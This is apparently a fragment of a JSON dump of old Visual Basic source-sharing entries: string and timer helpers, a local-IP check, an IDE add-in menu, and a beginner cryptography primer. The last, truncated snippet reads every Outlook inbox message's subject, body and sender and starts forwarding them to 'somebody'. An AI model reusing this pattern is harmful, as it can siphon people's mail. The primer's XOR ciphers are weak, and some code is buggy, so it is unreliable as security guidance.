href=\"http://sourcecode.pcy.net/\">http://sourcecode.pcy.net/ </a>......any \none to help me? :) \nCU and have a good day \nMegalos Cy \n┬á\n"},{"WorldId":1,"id":12118,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11825,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11320,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11150,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25890,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11285,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32749,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32941,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25307,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10878,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11012,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23847,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23478,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10926,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11414,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14097,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24654,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11139,"LineNumber":1,"line":"Public Function InStrLike(Optional ByVal Start, Optional ByVal String1, Optional ByVal String2, Optional ByVal intCompareMethod As VbCompareMethod = vbTextCompare) As Variant\nOn Error GoTo err_InStrLike\n Dim intPos As Integer\n Dim intLength As Integer\n Dim strBuffer As String\n Dim blnFound As Boolean\n Dim varReturn As Variant\n If Not IsNumeric(Start) And IsMissing(String2) Then\n String2 = String1\n String1 = Start\n Start = 1\n End If\n If IsNull(String1) Or IsNull(String2) Then\n varReturn = Null\n GoTo exit_InStrLike\n End If\n If Left(String2, 1) = \"*\" Then\n err.Raise vbObjectError + 2600, \"InStrLike\", \"Comparison mask cannot start with '*' since a start position cannot be determined.\"\n Exit Function\n End If\n For intPos = Start To Len(String1) - Len(String2) + 1\n If InStr(1, String2, \"*\", vbTextCompare) Then\n For intLength = 1 To Len(String1) - intPos + 1\n strBuffer = Mid(String1, intPos, intLength)\n If strBuffer Like String2 Then\n blnFound = True\n GoTo done\n End If\n Next intLength\n Else\n strBuffer = Mid(String1, intPos, Len(String2))\n If strBuffer Like String2 Then\n blnFound = True\n GoTo done\n End If\n End If\n Next intPos\ndone:\n \n If blnFound = False Then\n varReturn = 0\n Else\n varReturn = intPos\n End If\nexit_InStrLike:\n InStrLike = varReturn\n Exit Function\nerr_InStrLike:\n Select Case err.Number\n Case Else\n varReturn = Null\n MsgBox err.Description, vbCritical, \"Error #\" & err.Number & \" (InStrLike)\"\n GoTo exit_InStrLike\n End Select\nEnd Function\n"},{"WorldId":1,"id":33934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33788,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21461,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22395,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22631,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24746,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23464,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23375,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29777,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31344,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12002,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10629,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11398,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11329,"LineNumber":1,"line":"Private Sub Form_Load()\n Winsock.Connect \"www.microsoft.com\", 80\nEnd Sub\nPrivate Sub Winsock_Connect()\n MsgBox \"Your Real IP is: \" + Winsock.LocalIP, vbOKOnly, \"Real IP\"\n Winsock.Close\nEnd Sub\n"},{"WorldId":1,"id":11289,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12033,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11626,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12962,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12890,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12709,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10640,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10573,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32397,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12153,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23262,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28444,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34814,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26015,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14458,"LineNumber":1,"line":"Private Sub Timer1_Timer()\n \n 'Set the interval of the timer.\n 'Each time the timer event is called\n 'subtract one from the tick.\n \n 'Assuming 10000 interval with a 1440 tick,\n 'this would give a delay of 4 hours.\n \n '10000 / 1000 = 10 *Milliseconds to Seconds\n '10 * 1440 = 14400 *Multiply by ticks\n '14400 / 60 = 240 *Seconds to minutes\n '240 / 60 = 4 *Minutes to hours\n \n 'Allocate a static variable\n Static siTick As Integer\n \n 'Check if variable greater then desired tick\n If siTick > 1440 Then\n \n '************ Do some code ************'\n \n 'Start the ticker over\n siTick = 0\n \n 'If not then add one to the tick\n Else\n siTick = siTick + 1\n End If\n \nEnd Sub"},{"WorldId":1,"id":21664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11272,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10929,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10892,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10866,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28762,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29402,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11456,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12044,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12566,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13281,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23760,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34302,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29764,"LineNumber":1,"line":"<html xmlns:o=\"urn:schemas-microsoft-com:office:office\"\nxmlns:w=\"urn:schemas-microsoft-com:office:word\"\nxmlns=\"http://www.w3.org/TR/REC-html40\">\n<head>\n<meta http-equiv=Content-Type content=\"text/html; charset=windows-1252\">\n<style>\n\n</style>\n</head>\n<body lang=EN-US style='tab-interval:.5in'>\n<div class=Section1>\n<span\nstyle='font-size:18.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;\nmso-bidi-font-family:\"Times New Roman\"'>Cryptography Primer<o:p></o:p>\nBy Jonathan Roach<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nHello and welcome to\nmy primer article on cryptography!<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:9.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;mso-bidi-font-family:\n\"Times New Roman\"'>cryp-tog-ra-phy (krip-taw-graph-e)<o:p></o:p>\n<span\nstyle='font-size:9.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;mso-bidi-font-family:\n\"Times New Roman\"'>The process or skill of communicating in or deciphering<o:p></o:p>\n<span\nstyle='font-size:9.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;mso-bidi-font-family:\n\"Times New Roman\"'>secret writings or ciphers.<span\nstyle='font-size:9.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;mso-bidi-font-family:\n\"Times New Roman\"'><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;\nmso-bidi-font-family:\"Times New Roman\"'>Introduction<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrying eyes,\nespionage, fraud, and theft of personal information.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThese are a few of\nthe reasons for concealing, masking, shadowing<o:p></o:p>\nor encrypting\ninformation in order to minimize the chance of that<o:p></o:p>\ninformation being\nrevealed to potentially dangerous or mischievous<o:p></o:p>\nindividuals/organizations.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nOkay, okay... maybe\nit's not that big of a deal, maybe you just want<o:p></o:p>\nto feel covert when\nyou send email to your friends or something.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThe method used to\nachieve the above is referred to as "Cryptography",<o:p></o:p>\nand this article is\naimed at giving you a basic look into the world of<o:p></o:p>\ndata encryption and\nproviding you with Visual Basic source code to get<o:p></o:p>\nyou started on your\nway.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;\nmso-bidi-font-family:\"Times New Roman\"'>What does Cryptography do?<o:p></o:p>\n<span\nstyle='font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;\nmso-bidi-font-family:\"Times New Roman\"'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\nCryptography\nconceals or hides data in order to make it un-readable to<o:p></o:p>\nthe average person,\nit is used to secure documents and data by mixing<o:p></o:p>\nor scrambling the\noriginal data into mumbo jumbo basically.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nTake this generic\nexample of encryption, lets say you want to send an<o:p></o:p>\nemail to your\nfriend, and you don't want anyone else to see the true<o:p></o:p>\nmessage you are\ngoing to send, because... it's top secret of course.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nYour original\nmessage would look something like this:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á "Hey Frank... I got that new\nencryption handbook."<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nYou would then\nperform an encryption routine on the message before<o:p></o:p>\nsending your email\nand the result would look something like this:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á "├î’ˆ/žŸ┬¿“ˆ├í├¥ ??|“œ┬╗ˆ┬│├ƒ├¥<span\nstyle='font-size:9.0pt;mso-bidi-font-size:12.0pt;font-family:Gulim'>?<span\nstyle='font-size:9.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;mso-bidi-font-family:\n\"Times New Roman\"'>?┬⌐┬º† ˆ┬│├ƒ?|“œ?┬⌐┬º†"<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nYou get the idea,\nthe original text is all scrambled and basically not of any<o:p></o:p>\nuse to anyone, or so\nit appears...<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nSo now you send your\nencrypted mail off to Frank, if Frank is unaware of<o:p></o:p>\nencryption then he\nwill probably mail you back and say something along<o:p></o:p>\nthe lines of\n"What the heck is this stuff you sent me?".<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nHowever, because you\nsent it off to your good buddy Frank and he is<o:p></o:p>\nusing the same\nencryption/decryption software that you are, and he is<o:p></o:p>\naware of the\ncode/key needed to reverse your scrambled message all<o:p></o:p>\nis well and he can\nview your message, while any others who may have<o:p></o:p>\nintercepted it along\nthe way could not, or at least had a heck of a time<o:p></o:p>\nin doing so...<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nSo there you have\nit, Cryptography scrambles/transforms data.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;\nmso-bidi-font-family:\"Times New Roman\"'>Cryptography Overview<o:p></o:p>\n<span\nstyle='font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;\nmso-bidi-font-family:\"Times New Roman\"'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\nCryptography\nrequires an encryption algorithm and a key; in it's basic form<o:p></o:p>\nthat is.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDue to the nature of\nthis article I will not go into great detail on the many<o:p></o:p>\nmethods of\nencryption and key methods in use today but I will provide<o:p></o:p>\nyou with the base\nfoundation for encryption/decryption.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nAn encryption\nalgorithm is simply the engine or code that handles all of<o:p></o:p>\nthe processes that\ntransform the original text (plaintext) into encoded text<o:p></o:p>\n(ciphertext).<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis engine simply\nperforms mathematical and/or logical operations on the<o:p></o:p>\nplaintext to\ntransform it into the ciphertext and vice versa.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThe key as it's name\nimplies is just that, it is the key (code) that allows the<o:p></o:p>\nalgorithm to\nencrypt/decrypt data.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;\nmso-bidi-font-family:\"Times New Roman\"'>Common Cryptography Algorithms<o:p></o:p>\n<span\nstyle='font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;\nmso-bidi-font-family:\"Times New Roman\"'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThere are many\ndifferent algorithms for encrypting/decrypting data in use<o:p></o:p>\naround the world\ntoday, some of them are very complex and others are<o:p></o:p>\nmore simplistic,\nhowever they all serve the same purpose.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nBelow is a short\nlisting on some of the different cryptography algorithms;<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDES - United States\nData Encryption Standard<o:p></o:p>\n3DES - The above,\nencoded 3 times<o:p></o:p>\nRSA - Rivest, Shamir\nand Adleman<o:p></o:p>\nGOST - Developed by\nscientists of the former Soviet Union<o:p></o:p>\nIDEA - A component\nof PGP (Pretty Good Privacy)<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThere are many more,\nbut the above should be a starting point for you<o:p></o:p>\nto seek out more\ninfo on the net.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;\nmso-bidi-font-family:\"Times New Roman\"'>The One-Time Pad<o:p></o:p>\n<span\nstyle='font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;\nmso-bidi-font-family:\"Times New Roman\"'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThe one-time pad is\none of the simplest encryption algorithms, it involves<o:p></o:p>\na key being used\nwhich is the same length as the plaintext and then using<o:p></o:p>\nsimple math on the\nplaintext via the key, the math could be multiplication<o:p></o:p>\nor exclusive-or\n(XOR) for example;<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDim plainText As\nString<o:p></o:p>\nDim cipherKey As\nString<o:p></o:p>\nDim Counter As\nInteger<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDim Char As String<o:p></o:p>\nDim keyChar As\nString<o:p></o:p>\nDim cipherText As\nString<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub Crypt()<o:p></o:p>\nplainText =\n"CovertText"<o:p></o:p>\ncipherKey =\n"password42"<o:p></o:p>\nMsgBox “Before: “\n& plainText<o:p></o:p>\n'Encrypt it<o:p></o:p>\nFor Counter = 1 To\nLen(plainText)<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á Char = Asc(Mid(plainText, Counter, 1))<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á keyChar = Asc(Mid(cipherKey, Counter, 1))<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á cipherText = cipherText & Chr(Char Xor\nkeyChar)<o:p></o:p>\nNext Counter<o:p></o:p>\nMsgBox “After: “\n& cipherText<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nplainText =\n""<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'Decrypt it<o:p></o:p>\nFor Counter = 1 To\nLen(cipherText)<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á Char = Asc(Mid(cipherText, Counter, 1))<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á keyChar = Asc(Mid(cipherKey, Counter, 1))<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á plainText = plainText & Chr(Char Xor\nkeyChar)<o:p></o:p>\nNext Counter<o:p></o:p>\nMsgBox “Back to\noriginal: “ & plainText<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\ncipherText =\n""<o:p></o:p>\nEnd Sub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nJust copy the above\ncode and paste it into a new project, then add a<o:p></o:p>\ncommand button and\nin its click event put a call to the Crypt() sub.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nAs follows,<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub\nCommand1_Click()<o:p></o:p>\nCrypt<o:p></o:p>\nEnd Sub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nRun the project and\nclick the button to see it in action.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThere is a problem\nwith the above encryption algorithm though, first<o:p></o:p>\noff if you want to\nencrypt something that is large in size the key size<o:p></o:p>\nwould also be very\nlarge.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nFor example if you\nwanted to encrypt a string that is 50 characters in<o:p></o:p>\nlength then your key\nwould also have to be 50 characters in length,<o:p></o:p>\nkind of a pain for\nour good friend Frank to have to enter a 50 character<o:p></o:p>\ndecoding key for a\nsimple message.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis problem can be\novercome with our next topic, which deals with<o:p></o:p>\nthe key length\nproblem by using a repeating key.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;\nmso-bidi-font-family:\"Times New Roman\"'>Repeating Key Algorithm - Viginere\nCipher<o:p></o:p>\n<span\nstyle='font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;\nmso-bidi-font-family:\"Times New Roman\"'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis type of\nencryption algorithm deals with a key that repeats during<o:p></o:p>\nthe\nencryption/decryption process, for example the algorithm above<o:p></o:p>\nuses a character by\ncharacter algorithm, it performs math operations<o:p></o:p>\non each character in\nthe plaintext and key until the length of the key<o:p></o:p>\nand plaintext is\nreached - because the key and plaintext are the same<o:p></o:p>\nlength.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nHowever with a\nrepeating key, our key can be any length we choose<o:p></o:p>\nas when the end of\nthe key is reached in our algorithm we simple start<o:p></o:p>\nagain at the begin\nof the key until our plaintext encryption is completed.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nTake this generic\nexample, if our plaintext is "I have top secret codes"<o:p></o:p>\nand our key is\n"Pass"; obviously the key is shorter than our plaintext.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThus we are in our\nloop to encrypt our plaintext and this is how it looks:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á plaintext char = I<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á key\nchar = P<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á plaintext char = Space<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á key char = a<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á plaintext char = h<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á key char = s<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á plaintext char = a<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á key char = s<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á plaintext char = v<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á key char = P<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á plaintext char = e<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á key char = a<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á plaintext char = Space<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á key char = s<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nYou get the idea?\nThe key just repeats until the length of the plaintext<o:p></o:p>\nis reached. This\nmethod is much more practical and flexible for key names<o:p></o:p>\nanyway.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nBelow is a sample\nalgorithm that uses a repeating key.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub Crypt()<o:p></o:p>\ncipherKey =\n"pw201"<o:p></o:p>\nplainText =\n"Top-Secret Message from Roach"<o:p></o:p>\ncipherText =\n""<o:p></o:p>\nKeyIndex = 1<o:p></o:p>\nMsgBox "Before:\n" & plainText, 0, "Before Encryption"<o:p></o:p>\nFor Counter = 1 To\nLen(plainText)<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á Char = Asc(Mid(plainText, Counter, 1))<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á keyChar = Asc(Mid(cipherKey, KeyIndex, 1))<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á cipherText = cipherText & Chr(Char Xor\nkeyChar)<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á KeyIndex = KeyIndex + 1<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á If KeyIndex > Len(cipherKey) Then\nKeyIndex = 1<o:p></o:p>\nNext Counter<o:p></o:p>\nMsgBox "After\nEncryption: " & cipherText, 0, "Original:" & plainText<o:p></o:p>\nEnd Sub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nOnce again you can\npaste this into a new project and call the Crypt()<o:p></o:p>\nsub from a buttons\nclick event to try it out. To reverse the encryption<o:p></o:p>\njust run the\nencrypted text back through the counter loop in place of<o:p></o:p>\nthe plaintext.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThank you for\nsticking with me through this brief article on the subject,<o:p></o:p>\nI hope that you\ngained a little knowledge about encryption from this.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNote: I do not claim\nthat you shall become an encryption expert or<o:p></o:p>\nthat any of the\nmethods described in this article are bomb proof,<o:p></o:p>\ncrack proof, water\nproof... whatever, I merely wanted to share the<o:p></o:p>\nbasic knowledge of\nthe subject.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nRegards,<o:p></o:p>\nJonathan Roach\n</div>\n</body>\n</html>"},{"WorldId":1,"id":29675,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30052,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22270,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14301,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14302,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11135,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11082,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13395,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13378,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12936,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22247,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22746,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22814,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22769,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13801,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24433,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24424,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25608,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11081,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11338,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11494,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11500,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11813,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11796,"LineNumber":1,"line":"' by Kayhan Tanriseven The Benchmarker┬«\n' \n' Example code of to add menu items to VB's popup Menus\n'\n' If needed, I will post a sample zipped project also..\n' for this reason, please feedback..\n\n' create all the user interface items\nOn Error GoTo CreateMenuItems_Error\n' create the menu items in the code window and code break window\nWith VBInstance.CommandBars(\"Code Window\").Controls\n\tSet MenuItem1 = .Add(msoControlButton)\n\tMenuItem1.Caption = \"&Append To Clipboard\"\n\tMenuItem1.BeginGroup = True\n\tSet MenuHandler1 = \tVBInstance.Events.CommandBarEvents(MenuItem1)\n\tSet MenuItem2 = .Add(msoControlButton)\n\tMenuItem2.Caption = \"Clipboard &History\"\n\tSet MenuHandler2 = \tVBInstance.Events.CommandBarEvents(MenuItem2)\nEnd With \nWith VBInstance.CommandBars(\"Code Window (Break)\").Controls\n\tSet MenuItem3 = .Add(msoControlButton)\n\tMenuItem1.Caption = \"&Append To Clipboard\"\n\tMenuItem1.BeginGroup = True\n\tSet MenuHandler3 = \tVBInstance.Events.CommandBarEvents(MenuItem3)\n\tSet MenuItem4 = .Add(msoControlButton)\n\tMenuItem4.Caption = \"Clipboard &History\"\n\tSet MenuHandler4 = \tVBInstance.Events.CommandBarEvents(MenuItem4)\nEnd With\nExit Sub \nCreateMenuItems_Error:\nMsgBox \"Unable To create necessary menu items\", vbCritical\n\n"},{"WorldId":1,"id":11815,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11793,"LineNumber":1,"line":"'by Kayhan Tanriseven\n'THis code shows you how to get inbox from Outlook\n[1] Add the reference To the Outlook Object Library\nDim myOLApp As New Outlook.Application\nDim olNameSpace As Outlook.NameSpace\nDim myItem As New Outlook.AppointmentItem\nDim myRequest As New Outlook.MailItem\nDim myFolder As Outlook.MAPIFolder\nPublic myResponse\nDim L As String\nDim i As Integer\nDim SearchSub As String\nDim strSubject As String\nDim myFolder As Outlook.MAPIFolder\nDim strSender As String\nDim strBody As String\nDim olMapi As Object\nDim strOwnerBox As String\nDim sbOLApp\n\nSet myOLApp = CreateObject(\"Outlook.Application\")\nSet olNameSpace = myOLApp.GetNamespace(\"MAPI\")\nSet myFolder = olNameSpace.GetDefaultFolder(olFolderInbox)\n\n'Dim mailfolder As Outlook.MAPIFolder\nSet olMapi = GetObject(\"\", \"Outlook.Application\").GetNamespace(\"MAPI\")\nFor i = 1 To myFolder.Items.Count\n strSubject = myFolder.Items(i).Subject\n strBody = myFolder.Items(i).Body\n strSender = myFolder.Items(i).SenderName\n strOwnerBox = myFolder.Items(i).ReceivedByName\n\n' Now Mail it to somebody\n Set sbOLAPp = CreateObject(\"Outlook.Application\")\n Set myRequest = myOLApp.CreateItem(olMailItem)\n With 